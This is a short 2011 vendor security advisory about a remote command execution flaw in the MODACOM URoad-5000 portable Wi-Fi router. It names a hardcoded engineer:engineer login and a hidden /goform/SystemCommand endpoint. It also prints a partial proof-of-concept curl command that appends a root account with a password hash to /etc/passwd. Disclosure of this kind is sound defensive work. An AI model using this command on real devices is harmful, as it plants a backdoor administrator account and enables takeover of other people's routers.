LIONIC®
Security Chip Provider

07/06/2011
Doc No: SN-2011-23008

# Security News

# 2011-23008 MODACOM URoad-5000 Remote Command Execution Vulnerability

## 1. Affected Version

MODACOM URoad-5000 v1450

## 2. Description

URoad-5000 is a pocket sized and battery powered Wi-Fi router that seamlessly connects up to 10 Wi-Fi devices to the internet via Mobile WiMAX network. A remote command execution vulnerability has been reported in URoad-5000 v1450.

## 3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
$curl  -basic
       -u "engineer:engineer"
       -d "command=echo
       -e \"r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh\"
        >> /etc/passwd;&SystemCommandSubmit=Apply"
        192.168.1.254/goform/SystemComman
```

Table 1: The partial proof-of-concept code

URoad-5000 uses modified version of RaLink SDK. The standard web interface is accessed via HTTP. The web administration interface can be accessed with default user/password pair admin:admin. This can be later modified, but there is another possible access pair - engineer:engineer and it can't be changed via the web interface. Some of the SDK standard scripts are left and their screens in the web interface are just HTML commented. This reveals the /goform/SystemCommand method.

A remote attacker will easy to gain user privileges and execute system commands on URoad-5000, even the administrative access.

## 4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 03/06/2011.
2. Contact your vendor for an appropriate patch.

## 5. Reference

1. http://sec.stanev.org/advisories/ASadv-4.txt